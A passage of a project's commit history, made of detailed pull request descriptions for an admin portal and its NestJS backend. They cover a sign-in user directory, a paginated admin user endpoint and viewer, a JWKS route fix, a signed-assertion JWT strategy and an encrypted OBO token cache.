- Promote `@ApiOperation` summaries with multi-line `description`s on the more involved routes (`/api/admin/audit`, `/api/admin/users`).
- Annotate DTOs with `@ApiProperty` once the first contract-test consumer arrives — Nest can also pick them up automatically with the `@nestjs/swagger` ts-plugin if we wire it into the Nx build target. Deferred until the spec is consumed by tooling that benefits from the precision.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #143
2026-05-14 20:52:03 +02:00
julien e90e88ec45 feat(portal-admin): user directory viewer screen (#142)
CI / check (push) Successful in 2m57s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m16s
CI / a11y (push) Successful in 1m29s
CI / perf (push) Successful in 4m0s
## Summary

Final PR of the **portal-admin User-list chantier** per [ADR-0020](docs/decisions/0020-portal-admin-app.md) §"v1 scope — User list (read-only)". Ships the SPA viewer at `/users` that consumes [`GET /api/admin/users`](apps/portal-bff/src/admin/admin-users.controller.ts) (PR #141) and renders a filter form + paginated table mirroring the audit viewer's shape (PR #136). The full chantier is now closed: schema + sign-in upsert (#140) → read endpoint (#141) → this viewer.

## What lands

### [`AdminUsersService`](apps/portal-admin/src/app/pages/users/admin-users.service.ts)

Thin `HttpClient` wrapper around `GET /api/admin/users`. Drops empty-string filter values (Nest's `ValidationPipe` rejects `?foo=` as `foo === ''`). `providedIn: 'root'` — the users page is the single v1 consumer.

### [`UsersPage`](apps/portal-admin/src/app/pages/users/users.ts)

Signal-driven page mirroring the `/audit` viewer:

| Knob | State |
| --- | --- |
| `username`, `displayName`, `audience`, `lastSeenAtFrom`, `lastSeenAtTo` | One signal per filter. |
| `limit`, `offset` | Pagination. Default 50, cap 200 to match the BFF's `MAX_LIMIT`. |
| `page`, `loading`, `error` | Async triplet. |
| `hasNextPage`, `hasPreviousPage`, `resultRange` | Computed for the pagination controls + the "1–50 of 137" status line. |

UI:

- **Filter form** — username (prefix), displayName (contains), audience enum, lastSeenAt range (`datetime-local` inputs → ISO), page-size selector. Apply + Reset.
- **Result table** — displayName, username, audience badge, firstSeen, lastSeen (locale-formatted), oid (monospaced).
- **Pagination** — Previous / Next disabled at boundaries. Offset resets to 0 on Apply Filters / Reset.
- **States** — explicit loading, empty (`"No users match the current filters."`), error. **403 surfaces "you do not have access"**; everything else collapses to a generic retry message — same posture as the audit viewer.

### Routing + i18n + sidebar

- `/users` route lazy-loaded in [`app.routes.ts`](apps/portal-admin/src/app/app.routes.ts) with `route.users.title` i18n marker.
- [`messages.fr.xlf`](apps/portal-admin/src/locale/messages.fr.xlf) updated with the French translation (`Utilisateurs — Administration APF Portal`); the prod build's `i18nMissingTranslation=error` policy would fail otherwise.
- [`AdminSidebar`](apps/portal-admin/src/app/components/sidebar/sidebar.ts) "User list" entry promoted from `aria-disabled` placeholder ("Soon" badge) to a live `RouterLink` at `/users`. The matching spec is updated.

## Notes for the reviewer

- The shape mirrors `AuditPage` (#136) intentionally — same signal layout, same flush dance in the spec, same 403/5xx error split, same datetime-local-to-ISO conversion. A future contributor coming from one viewer lands familiar code on the other.
- Each viewer ships as a separate lazy chunk (`users` = 3.76 KB gzip, `audit` = 4.35 KB gzip). No shared filter-form lib promoted yet — the duplication is mechanical and small (~120 LOC each), and ADR-0020's next admin modules (CMS, menu management) may diverge enough that premature factoring would be expensive to undo.
- No sign-in counts column. The BFF endpoint exposes the directory data only (`firstSeenAt` / `lastSeenAt`). Joining sign-in counts from `audit.events` via `HashUserIdService` is deferred until admin demand justifies the extra query per row.

## Test plan

- [x] `pnpm nx test portal-admin` — **45 specs pass** (was 30; +15: AdminUsersService 3, UsersPage 11, sidebar 1).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean.
- [x] Build emits the lazy `users` chunk at **14.59 KB raw / 3.76 KB gzip** — comfortably under the per-chunk lazy budget.
- [ ] e2e — pending Entra `admin` role assignment + at least a couple of sign-in events to populate the directory. Once both exist: sign in via `/api/admin/auth/login`, navigate to `/users`, see the directory populate with each row's displayName + lastSeen, exercise the filters, observe `admin.users.query` rows in `audit.events` per fetch.

## What's next — portal-admin v1 chantiers

This PR closes **User list**. Remaining ADR-0020 v1 modules:

- **Menu management** — CRUD on `cms.menu_items`; `GET /api/me/menu` consumed by portal-shell + `/api/admin/menu` admin CRUD. Medium chantier.
- **CMS pages** — multi-locale editorial content (`cms.pages` with slug + locale + body markdown), admin editor screen, portal-shell consumer for the rendering. Bigger chantier.

Out of immediate scope:

- The strategic security baseline ADR (paused awaiting RSSI input on ASVS / HDS / GDPR / NIS 2).
- Per-integration downstream ADRs (the strategy layer from #137 + #138 + #139 is ready to be assembled around the first real consumer).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #142
2026-05-14 20:15:21 +02:00
julien 1df99cd800 feat(portal-bff): admin user-directory read endpoint (#141)
CI / check (push) Successful in 3m1s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m34s
CI / a11y (push) Successful in 2m35s
CI / perf (push) Successful in 5m7s
## Summary

Second PR of the **portal-admin User-list chantier** per [ADR-0020](docs/decisions/0020-portal-admin-app.md) §"v1 scope — User list (read-only)". Ships the **read side**: paginated, filterable HTTP endpoint that queries the `public.users` directory populated at sign-in by PR #140. The SPA viewer screen lands in the final PR of the chantier.

## What lands

### [`AdminUsersQueryDto`](apps/portal-bff/src/admin/users-query.dto.ts)

Mirrors `AdminAuditQueryDto`'s posture — filters all optional, every unknown query key rejected by `forbidNonWhitelisted`, limit capped at **200** / default **50**.

| Filter | Type | Notes |
| --- | --- | --- |
| `username` | string ≤128 | Exact-prefix match (Prisma `startsWith`). |
| `displayName` | string ≤128 | Case-insensitive `contains` (display names vary in casing). |
| `audience` | enum | `workforce` \| `customer`. |
| `lastSeenAtFrom` | ISO-8601 | Inclusive lower bound. |
| `lastSeenAtTo` | ISO-8601 | Exclusive upper bound. |
| `limit` | int 1..200 | Default **50**. |
| `offset` | int ≥0 | Default **0**. |

### [`AdminUsersReader`](apps/portal-bff/src/admin/admin-users-reader.service.ts)

Prisma typed client against `public.users` — **no `SET LOCAL ROLE`** dance because `public.users` has no role-based privilege gate. The trust boundary is the controller's `@RequireAdmin` guard.

- **Order**: `last_seen_at DESC, oid ASC`. The second clause is a deterministic tie-breaker for pagination during sign-in bursts that share a timestamp.
- **COUNT + SELECT in one Prisma transaction** so the `total` reported to the SPA matches what's on the page even under a concurrent sign-in landing between the two queries.
- **Hard cap on limit** at 200 even when a caller bypasses the DTO — defense in depth on the BFF's event loop.

### [`AdminUsersController`](apps/portal-bff/src/admin/admin-users.controller.ts)

`GET /api/admin/users`, `@RequireAdmin()` at the class level. Forwards the validated DTO to `AdminUsersReader`, then emits `admin.users.query` with `{ filters, resultCount }` — the fishing-expedition deterrent (mirror of `admin.audit.query` from PR #132).

### [`AuditWriter.adminUsersQuery()`](apps/portal-bff/src/audit/audit.service.ts)

New typed method + `AdminUsersQueryInput` type. Same `outcome=success` / payload shape as `adminAuditQuery` — two distinct event types so a reviewer can pivot directly on `eventType` without parsing payload.

## Notes for the reviewer

- The shape mirrors `AdminAuditController` (#132) deliberately. Future admin read endpoints (CMS pages, menu items if they grow read filters) should adopt the same shape — keeps the SPA's data-flow pattern consistent across modules.
- `public.users` queries don't need `SET LOCAL ROLE` because there's no append-only / read-only role split on the table. That's a deliberate v1 simplification; if the security review later asks for stricter isolation we'd add a `users_reader` role + the same SET-LOCAL pattern AuditReader uses.
- The future "sign-in counts" join from `audit.events` on `actor_id_hash` is **deferred**. The salted hash is computable on the fly via `HashUserIdService`, so adding it later is a service-level change — no schema migration required.
- The `actor_id_hash` is deliberately **NOT** stored on `public.users` (per ADR-0013's invariant — the salt stays inside the audit module).

## Test plan

- [x] `pnpm nx test portal-bff` — **391 specs pass** (was 365; +26 covering DTO validation, reader transaction shape + filter forwarding + pagination defaults + cap, controller path, audit typed method).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean.
- [x] Prisma transaction shape verified: COUNT + SELECT both fire exactly once per call; tuple-return contract honoured.
- [x] Filter projections verified per filter: username `startsWith`, displayName case-insensitive `contains`, audience exact match, lastSeenAt `gte/lt` composition.
- [ ] e2e — pending the admin SPA viewer screen + a real admin session. Once both exist: `curl --cookie 'portal_admin_session=...' /api/admin/users?username=jane&limit=10` returns the matching subset and a new `admin.users.query` audit row lands.

## What's next

The chantier's final PR:

- **portal-admin `/users` screen** — SPA viewer with filter form + table + pagination. Same shape as the `/audit` page (PR #136): signal-driven state, color-coded badges for audience, ISO timestamps formatted locale-side, status states. Will graduate the sidebar entry from `aria-disabled` "Soon" badge to a live link.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #141
2026-05-14 20:01:38 +02:00
julien aca9e8d155 feat(portal-bff): user directory upserted at sign-in (#140)
CI / check (push) Successful in 3m2s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m54s
CI / a11y (push) Successful in 1m25s
CI / perf (push) Successful in 4m23s
## Summary

First PR of the **portal-admin User-list chantier** per [ADR-0020](docs/decisions/0020-portal-admin-app.md) §"v1 scope — User list (read-only)". Ships the **write side** only:

1. A new `public.users` table that holds the BFF's local cache of identities seen sign in to either portal-shell or portal-admin.
2. A `UserDirectoryService.recordSignIn(user)` upsert called from `SessionEstablisher.establish` after the blocking audit write.

The read side (`GET /api/admin/users` + the admin viewer SPA screen) lands in two follow-up PRs of the same chantier.

## Schema

[`prisma/schema.prisma`](apps/portal-bff/prisma/schema.prisma) gains a `User` model in the `public` schema:

| Column | Type | Notes |
| --- | --- | --- |
| `oid` | TEXT, PK | Entra's stable per-user identifier inside the tenant. Per-tenant uniqueness is sufficient for v1's single-workforce-tenant design (ADR-0008). |
| `tid` | TEXT | Tenant id. Updated on every upsert because a dual-audience future may legitimately change it. |
| `audience` | TEXT | `'workforce'` \| `'customer'`. Hardcoded to `workforce` in v1 per ADR-0008's simplification; will read from session/claims when External ID activates. |
| `username` | TEXT | Updated on every upsert (Entra-side rename possible). |
| `display_name` | TEXT | Same. |
| `first_seen_at` | TIMESTAMPTZ | Set once at first sign-in via DEFAULT NOW(); **never overwritten** thereafter. Enables "users since <date>" without joining anything. |
| `last_seen_at` | TIMESTAMPTZ | Updated on every upsert. Enables "most recently active" without scanning `audit.events`. |

Indexes:
- `last_seen_at DESC` — admin default sort.
- `username` — prefix filtering.

Migration in [`prisma/migrations/20260514192014_users_directory/`](apps/portal-bff/prisma/migrations/20260514192014_users_directory/migration.sql).

## [`UserDirectoryService`](apps/portal-bff/src/users/user-directory.service.ts)

```ts
async recordSignIn(entry): Promise<void> {
  try {
    await prisma.user.upsert({
      where: { oid },
      create: { oid, tid, audience, username, displayName },
      update: { tid, audience, username, displayName, lastSeenAt: new Date() },
    });
  } catch (err) {
    // logged, never propagated
  }
}
```

**Best-effort write.** Catches its own errors, logs a Pino warn (`user_directory.record_sign_in_failed`), returns `undefined`. The directory is a convenience for admin browsing, not a security boundary — a Postgres hiccup must not lock a user out of sign-in. ADR-0013's "no audit ⇒ no action" applies to the audit module only.

## [`SessionEstablisher`](apps/portal-bff/src/auth/session-establisher.service.ts) wiring

The directory call lands right after the existing audit emission:

```ts
await this.audit.signIn({ actor: user, sessionId: req.sessionID }); // blocking per ADR-0013
await this.userDirectory.recordSignIn({ ...user, audience: 'workforce' }); // best-effort
this.logger.log(...);
```

Two invariants the tests pin:

1. **Audit-first**: when `audit.signIn` throws, `userDirectory.recordSignIn` is NOT called. The directory never holds a row for a sign-in the audit log doesn't carry.
2. **Awaited**: an admin who just signed in sees themselves on the user list immediately — no race between the upsert and the response.

## Module wiring

[`UsersModule`](apps/portal-bff/src/users/users.module.ts) is declared `@Global()` so `SessionEstablisher` (which lives in `AuthModule`) injects `UserDirectoryService` without forcing `AuthModule` to import `UsersModule`. The directory is a true cross-cutting concern: one writer (the auth callback) and one future reader (the admin endpoint).

Wired into [`AppModule`](apps/portal-bff/src/app/app.module.ts) alongside the other v1 modules. `auth.module.spec.ts` updated to also import `UsersModule` in its slice-of-graph compile (otherwise the test fails to resolve the new `SessionEstablisher` dep).

## Notes for the reviewer

- The directory write **awaits** (not fire-and-forget). The cost is one round-trip per sign-in on the response-critical path; the benefit is the no-race property called out above. If sign-in p95 becomes an issue we can revisit (e.g. background job) but the simpler shape is correct first.
- `firstSeenAt` is intentionally absent from the `update` payload. The Prisma upsert's `update` block is precisely what changes on conflict; omitting the field leaves it untouched at the column level (Postgres-side default doesn't refire on UPDATE).
- The model lives in `public`, not in a dedicated `identity` or `cms` schema. ADR-0020 enumerates `cms.*` for editorial data and `audit.*` for the audit ledger but doesn't require a separate schema for user-directory data. We can promote it to its own schema later if a role-isolation need emerges; the migration would be a `ALTER TABLE users SET SCHEMA …`.
- `audit.events.actor_id_hash` is **not** stored on `public.users`. A future admin endpoint that joins sign-in counts from `audit.events` can compute the hash on-the-fly via `HashUserIdService` — keeping the salted-hash invariant from ADR-0013 intact (the salt stays inside the audit module).

## Test plan

- [x] `pnpm nx test portal-bff` — **365 specs pass** (was 358; +7: UserDirectoryService 4, SessionEstablisher integration 3).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean (the pre-existing rate-limit warnings + one unused-eslint-disable from PR #137 are unrelated).
- [x] Prisma `migrate diff` confirms the model matches the migration SQL.
- [ ] e2e — after merge: sign in via portal-shell or portal-admin, expect a row in `public.users` with the right `oid` / `last_seen_at`; sign in again, expect the same row's `last_seen_at` to advance and `first_seen_at` to stay put.

## What's next

The chantier sequence:

1. **This PR** — write side: schema + service + sign-in upsert.
2. **PR 2** — BFF `GET /api/admin/users` (paginated + filterable, gated by `@RequireAdmin`, emits `admin.users.query` audit).
3. **PR 3** — portal-admin `/users` screen (table + filter form), promote the sidebar entry from "Soon" badge to live link.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #140
2026-05-14 19:30:12 +02:00
julien 96339cc99b fix(portal-bff): serve /.well-known/jwks.json via express (path-to-regexp v8 ducks the dot) (#139)
CI / commits (push) Has been skipped
CI / check (push) Successful in 2m23s
CI / scan (push) Successful in 2m29s
CI / a11y (push) Successful in 59s
CI / perf (push) Successful in 4m0s
## Summary

The Nest `@Controller('.well-known/jwks.json')` declared in PR #138 combined with `setGlobalPrefix('api', { exclude: [...] })` landed the JWKS route at **neither** `/.well-known/jwks.json` (intended) **nor** `/api/.well-known/jwks.json` (with-prefix fallback). Both URLs 404'd. The user reported it on the merged PR; this fix reroutes the endpoint so the JWKS lands at the correct RFC 8615 bare-root path.

## Root cause

Nest 11 routes via [path-to-regexp v8.4.2](https://github.com/pillarjs/path-to-regexp/blob/main/Readme.md), whose grammar broke backward compatibility on several leading-character cases. The combination of a leading-dot path segment (`.well-known`) plus the `setGlobalPrefix` `exclude` rewrite falls into one of those cases — the route registers but matches no incoming request. Without the `exclude`, it would register under `/api/.well-known/jwks.json`, which would at least be reachable, but with `exclude` enabled it ends up in a path-to-regexp limbo.

## Fix

Sidestep Nest's router for this one route. The JWKS payload-builder stays in the Nest DI graph (renamed `JwksController` → `JwksPublisher`, just the decorators stripped), and [`main.ts`](apps/portal-bff/src/main.ts) resolves it from the container then registers a plain Express GET handler at `/.well-known/jwks.json`. Express's router accepts the leading dot verbatim and the route lands exactly where RFC 8615 says it should.

```ts
const jwksPublisher = app.get(JwksPublisher);
app.getHttpAdapter().get('/.well-known/jwks.json', (_req, res) => {
  res.json(jwksPublisher.jwks());
});
```

## Touched

- [`jwks.controller.{ts,spec.ts}`](apps/portal-bff/src/downstream/) → [`jwks.publisher.{ts,spec.ts}`](apps/portal-bff/src/downstream/). Same constructor, same `jwks()` method shape — only the `@Controller` / `@Get` decorators are gone. The DI signature is unchanged so the existing tests rename → green without other edits.
- [`downstream.module.ts`](apps/portal-bff/src/downstream/downstream.module.ts): drops the `controllers` array, lists `JwksPublisher` as a provider + export so `main.ts` can resolve it.
- [`main.ts`](apps/portal-bff/src/main.ts): drops the `setGlobalPrefix` `exclude` option, drops the `RequestMethod` import, registers an Express GET handler at the bare-root JWKS path immediately before `app.listen()`.

## Verification

Verified locally against a running BFF (with a generated RSA-3072 key + `BFF_JWKS_KID=bff-2026-05`):

```bash
$ curl -s http://localhost:3000/.well-known/jwks.json | jq .
{
  "keys": [
    {
      "kty": "RSA",
      "n": "ppDvWBUEQTD6sv-7FFG-UfCPALG…",
      "e": "AQAB",
      "kid": "bff-2026-05",
      "alg": "RS256",
      "use": "sig"
    }
  ]
}
```

## Test plan

- [x] `pnpm nx test portal-bff` — **358 specs pass** (unchanged: the publisher's `jwks()` method shape is identical, the rename-only spec delta keeps the existing coverage).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean.
- [x] Manual: `curl http://localhost:3000/.well-known/jwks.json` returns the JWKS with the configured `kid`, `alg=RS256`, `use=sig`. No private RSA components (`d` / `p` / `q` / `dp` / `dq` / `qi`) in the response.

## Notes for the reviewer

- The "use Express directly when path-to-regexp v8 fights you" escape hatch is rare. It's the right move here because the path is fixed by RFC 8615 — we can't compromise on the URL shape. For any other route we'd let Nest's router handle it.
- The publisher class is still injectable, still in the DI graph, still trivially mockable in tests. The only thing that's "outside Nest" is the route binding in `main.ts`. Production behaviour is identical to a Nest-routed controller; only the registration mechanism differs.
- No new specs were added because the routing fix is a wiring change. A controller-spec-style integration test using Nest's `TestingModule` wouldn't exercise the actual Express route binding either, so the manual curl + the publisher's existing unit tests are the right coverage.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #139
2026-05-14 19:12:38 +02:00
julien 282a972346 feat(portal-bff): signed-assertion strategy + /.well-known/jwks.json (#138)
CI / scan (push) Successful in 2m40s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m38s
CI / a11y (push) Successful in 1m38s
CI / perf (push) Successful in 3m36s
## Summary

Second half of the **DownstreamApiClient + OBO** chantier per [ADR-0014](docs/decisions/0014-downstream-api-access-obo-pattern.md). Ships the **signed-assertion strategy** (non-Entra downstreams) and the **JWKS publishing endpoint** as testable primitives, completing the strategy layer the OBO PR (#137) started. The framework around them (DownstreamApiClientFactory, cockatiel, audience pre-check, error translation) still waits for the first concrete integration per the ADR's own "until then" clause.

After this PR the BFF has, ready to plug into a future integration:

- `OboStrategy` — Entra-protected downstreams (PR #137)
- `SignedAssertionStrategy` — non-Entra downstreams (this PR)
- `DownstreamTokenCache` — encrypted-at-rest OBO token cache (PR #137)
- `GET /.well-known/jwks.json` — public key publication (this PR)

## What lands

### [`assertJwksConfig`](apps/portal-bff/src/config/check-jwks-config.ts)

Boot validator for `BFF_JWKS_PRIVATE_KEY_PATH` + `BFF_JWKS_KID`. Reads the PEM file once at startup, refuses missing / unreadable / weak material (RSA < 2048, Ed25519, unknown key type), derives the JOSE algorithm (`RS256` / `ES256` / `ES384`) from the key shape, and validates the kid against `[A-Za-z0-9_-]{4,128}` so the value lives unescaped in JWT headers + JWKS payloads.

### [`BffSigningKey`](apps/portal-bff/src/downstream/bff-signing-key.ts)

Singleton holding `{ config: JwksConfig, publicJwk: JWK }`. The `publicJwk` is derived from the **public half** of the key (via `jose.exportJWK` on a `createPublicKey`-derived `KeyObject`) so no private material can leak through. Single DI source for both consumers (strategy + JWKS controller) so a key rotation only changes one provider.

### [`SignedAssertionStrategy`](apps/portal-bff/src/downstream/strategies/signed-assertion.strategy.ts)

Wraps `jose.SignJWT` with the ADR-0014 claim shape:

```json
{
  "iss": "portal-bff",
  "sub": "<actor_id_hash>",
  "aud": "<downstream-name>",
  "audience": "workforce" | "customer",
  "claims": { /* curated subset */ },
  "exp": <now + 60s>,
  "iat": <now>,
  "trace_id": "<W3C trace id>"
}
```

- **60 s TTL** hard-coded — the ADR mandates it.
- **No JWT cache** — at 60 s lifetime the savings would be negligible and a cache would let replayed assertions linger past their useful life. The signing operation itself is cheap (~hundreds of µs for RS256 with a 3 KB key).
- **kid in the protected header** matches the JWKS so a downstream picks the right key during rotation.
- Supports **RS256 / ES256 / ES384** transparently — picks the alg the validator derived at boot.

### [`JwksController`](apps/portal-bff/src/downstream/jwks.controller.ts)

`GET /.well-known/jwks.json` returns `{ keys: [<single jwk>] }`. v1 publishes one key; the rotation chantier will add a second entry + window-based eviction so a downstream that cached the previous JWK keeps verifying during cut-over.

[`main.ts`](apps/portal-bff/src/main.ts) excludes `/.well-known/*` from the global `/api` prefix so the route lands at the bare root per RFC 8615. No auth gate — the JWKS is the verification anchor; gating it would defeat the purpose. The CSRF middleware already exempts GET methods, so the route comes out clean.

## Required env update (mandatory at boot)

Generate the key:

```bash
mkdir -p apps/portal-bff/.secrets
openssl genpkey -algorithm RSA -pkeyopt rsa_keygen_bits:3072 \
  -out apps/portal-bff/.secrets/jwks.pem
```

Set in `apps/portal-bff/.env`:

```env
BFF_JWKS_PRIVATE_KEY_PATH=apps/portal-bff/.secrets/jwks.pem
BFF_JWKS_KID=bff-2026-05
```

The repo's existing `*.pem` / `*.key` gitignore patterns cover `.secrets/`.

## Dependency

- **`jose@^6`** added as a direct dep (was transitive via MSAL). Pinned at the workspace root since the BFF is the only consumer today and the package isn't part of the Angular bundle graph.
- `jest.config.cts`: `jose` ships ESM-only, so its `node_modules` path is removed from `transformIgnorePatterns`. The pattern walks pnpm's deep `.pnpm/` layout — anything under `/node_modules/` whose path also contains `jose` somewhere gets transformed by ts-jest.

## Out of scope (deferred until the first concrete integration)

Per ADR-0014's "until then" clause:

- `DownstreamApiClientFactory` + per-service typed `DownstreamApiConfig`.
- `cockatiel` resilience composition (timeout, retry, circuit breaker, bulkhead).
- Audience pre-check at the call site (`audienceConstraint` → `authz.deny` audit).
- Error translation tables per service.
- OTel custom spans `downstream.<service>.<verb>.<path>`.
- The framework code that actually calls `SignedAssertionStrategy.sign()` and attaches `X-User-Assertion` + the `ServiceCredential` auth header to an outbound HTTP request.
- Key rotation (the JWKS lists one key for now; the rotation chantier adds the second entry + eviction policy).

These land alongside the first concrete integration so the framework shape is validated against a real consumer, not speculative needs.

## Test plan

- [x] `pnpm nx test portal-bff` — **358 specs pass** (was 334; +24: env validators 11, signing key 4, strategy 6, controller 3).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean.
- [x] Env validator: missing path, unreadable file, garbage PEM, RSA-1024 (weak), Ed25519 (unsupported), missing kid, illegal kid charset, kid too short.
- [x] Signing key: RSA / EC P-256 / EC P-384 round-trip to public JWK with no private material (`d`, `p`, `q`, `dp`, `dq`, `qi` all absent from the published JWK).
- [x] Strategy: claim shape matches ADR-0014, `exp - iat == 60`, audience mismatch rejected, signature mismatch rejected, EC P-256 signing path (ES256), per-call freshness.
- [x] Controller: returns JWKS with the single public key, no private material leaks.
- [ ] Manual smoke: generate a key locally + set the two env vars + `curl http://localhost:3000/.well-known/jwks.json` should return the JWKS shape with the chosen kid.

## Notes for the reviewer

- The strategy uses `setProtectedHeader({ alg, kid })` — the kid in the protected header is the canonical way to tell a verifier "use the entry with this kid in the JWKS". Without it, a verifier holding two keys during rotation has to try both.
- The `60 s` TTL is intentionally not env-overridable. ADR-0014 mandates it; making it tunable would create a tempting knob to widen the replay window for "performance".
- `jose` was already in the tree transitively (likely via MSAL). Promoting it to a direct dep + pinning means a future hoist deduplication can't silently remove it without our review.

## What's next

The chantier's strategy layer is complete. Open follow-ups on the roadmap:

- **First concrete downstream integration** — when a real consumer arrives, the framework gets built around the two strategies (DownstreamApiClientFactory, cockatiel resilience, audience pre-check, error translation, OTel spans, audit events). Until then the strategies + cache + JWKS sit ready.
- **Strategic security baseline ADR** — RSSI sign-off on ASVS / HDS / GDPR / NIS 2. Paused per [CLAUDE.md](CLAUDE.md) §"Repository status".
- **portal-admin v1 modules** — CMS pages, menu management, user list. Each is its own self-contained chantier.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #138
2026-05-14 18:34:07 +02:00
julien d665c66c4e feat(portal-bff): obo strategy + encrypted downstream token cache (#137)
CI / check (push) Successful in 3m49s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m31s
CI / a11y (push) Successful in 1m45s
CI / perf (push) Successful in 3m25s
## Summary

First half of the **DownstreamApiClient + OBO** chantier per [ADR-0014](docs/decisions/0014-downstream-api-access-obo-pattern.md). Ships the OBO auth strategy and its encrypted-at-rest token cache as testable primitives — explicitly **not** the full `DownstreamApiClientFactory` + cockatiel + audience-pre-check framework.

The scope is dictated by ADR-0014 §"Consequences":

> *"Bad, because the framework is forward-looking — there is no concrete v1 caller. Risk of drift between framework and real needs. **Mitigated by writing the framework code only in the same iteration as the first concrete integration; until then, this ADR plus mock-driven unit tests on the strategies (OBO, signed-assertion) keep the design honest.**"*

The framework gets assembled when the first real downstream integration arrives, with that integration as the validation surface. The next PR in this chantier ships the symmetric signed-assertion strategy + the JWKS endpoint.

## What lands

### [`assertOboCacheEncryptionKey`](apps/portal-bff/src/config/check-obo-cache-encryption-key.ts)

Boot validator mirroring `assertSessionEncryptionKey`. AES-256-GCM, 32-byte requirement, placeholder rejection, fail-fast posture. Plus one extra defense in depth:

> *Refuses a value identical to `SESSION_ENCRYPTION_KEY`* — ADR-0014 §"Token cache (for OBO)" mandates dedicated keys; catching the copy-paste regression at boot prevents a silent trust-boundary downgrade.

Wired in [`main.ts`](apps/portal-bff/src/main.ts) alongside the other `assertX()` validators.

### [`DownstreamTokenCache`](apps/portal-bff/src/downstream/downstream-token-cache.service.ts)

Redis-backed cache, key shape `obo:{actorIdHash}:{resource}`. Encrypts each entry via the shared AES-256-GCM helpers from `session-crypto` but under a **dedicated key** (`OBO_CACHE_KEY`).

| Path | Behaviour |
| --- | --- |
| Cache miss | Returns `null`. |
| Tampered ciphertext | Returns `null` + Pino warn `downstream.obo_cache.decrypt_failed`. |
| Wrong-key ciphertext | Returns `null` (GCM auth-tag mismatch). |
| Decrypted but malformed shape | Returns `null` + Pino warn. |
| Redis read failure | Returns `null` + Pino warn `downstream.obo_cache.read_failed`. |
| Write of a token already inside the 60 s buffer | Skipped (TTL would be useless). |
| Redis write failure | Logged, non-fatal. |

Reads never throw — every failure collapses to a miss, the strategy re-acquires from Entra.

### [`OboStrategy`](apps/portal-bff/src/downstream/strategies/obo.strategy.ts)

Wraps MSAL Node's `acquireTokenOnBehalfOf` with the cache.

```
acquire(input):
  cached = cache.get(...)
  if cached && cached.expiresAt - now > 60s → return cached
  result = msal.acquireTokenOnBehalfOf({ oboAssertion, scopes })
  if !result || !result.accessToken || !result.expiresOn → throw OboAcquireError(msal-no-result)
  cache.set(...)
  return result
```

`OboAcquireError` carries a typed `reason` discriminator (`msal-refused` / `msal-no-result`) the future framework will translate to a **502 + `auth.token.validation.failed`** audit event per ADR-0014 — "the BFF does NOT silently fall back to the user's original token".

### One scope nuance from ADR-0014

ADR-0014 §"OBO strategy" says *"uses MSAL Node's `acquireTokenOnBehalfOf` with the user's current Entra access token (read from session via CLS)"*. v1 sessions don't persist the user's access token (ADR-0009 omits `offline_access` deliberately). For now the strategy takes the user access token as an **input parameter** — when the first concrete integration ships, the framework will fetch it from CLS / MSAL's token cache and forward here. That keeps the strategy a testable primitive without coupling to a session shape that doesn't exist yet.

### [`DownstreamModule`](apps/portal-bff/src/downstream/downstream.module.ts)

Provides `OBO_CACHE_KEY` (via the validator at factory time), `DownstreamTokenCache`, `OboStrategy`. Imports `AuthModule` for the shared `MSAL_CLIENT` and `RedisModule` for the shared `ioredis` client. Wired into `AppModule` though no runtime consumer yet — the registration makes the strategy injectable for the future integration without that integration having to also touch the module graph.

## Required env update (mandatory at boot)

```env
OBO_CACHE_ENCRYPTION_KEY=replace_with_32_random_bytes_base64url
```

Generate with `node -e "console.log(require('crypto').randomBytes(32).toString('base64url'))"`. Must differ from `SESSION_ENCRYPTION_KEY` — the boot validator refuses identical values.

## Out of scope (deferred until the first concrete integration)

Per ADR-0014's "until then" clause:

- `DownstreamApiClientFactory` + per-service typed config.
- `cockatiel` resilience composition (timeout, retry, circuit breaker, bulkhead).
- Audience pre-check at the call site (`audienceConstraint` → `authz.deny` audit event).
- Error-translation tables per service.
- OTel custom spans `downstream.<service>.<verb>.<path>`.
- The `auth.token.validation.failed` audit event itself (the discriminator is on `OboAcquireError`, the audit-emission glue lives in the future framework).
- The framework wiring that reads the user access token from CLS instead of accepting it as a parameter.

These land alongside the first concrete integration so the framework shape is validated against a real consumer, not speculative needs.

## Test plan

- [x] `pnpm nx test portal-bff` — **334 specs pass** (was 308; +26: env validator 8, token cache 9, OBO strategy 9).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean.
- [x] Env validator refuses placeholder, wrong length, non-base64url, AND identical-to-`SESSION_ENCRYPTION_KEY`. Boot-order tolerant: accepts the value when `SESSION_ENCRYPTION_KEY` is unset.
- [x] Token cache round-trip verified: written ciphertext starts with `v1.`, never contains the plaintext sentinel.
- [x] Tamper rejection verified: flipping the last char of the GCM-encrypted blob fails decryption and collapses to a miss.
- [x] Wrong-key rejection verified: writing with one key, reading with another, returns `null`.
- [x] TTL math verified: PX TTL = `expiresAt − now − 60 000`. Write skipped when token already inside the buffer.
- [x] OBO strategy: cache-hit short-circuit, stale-cache re-acquire, cold-cache → MSAL → cache.set, MSAL refusal → typed error, MSAL null-result → typed error, empty access token → typed error, null expiresOn → typed error.

## Notes for the reviewer

- The strategy file uses `override readonly cause` on `OboAcquireError` because TS `strict.exactOptionalPropertyTypes + noImplicitOverride` flags shadowing the built-in `Error.cause`. The shadowing is intentional — we want the typed cause property visible in error consumers — so the `override` keyword is the canonical way.
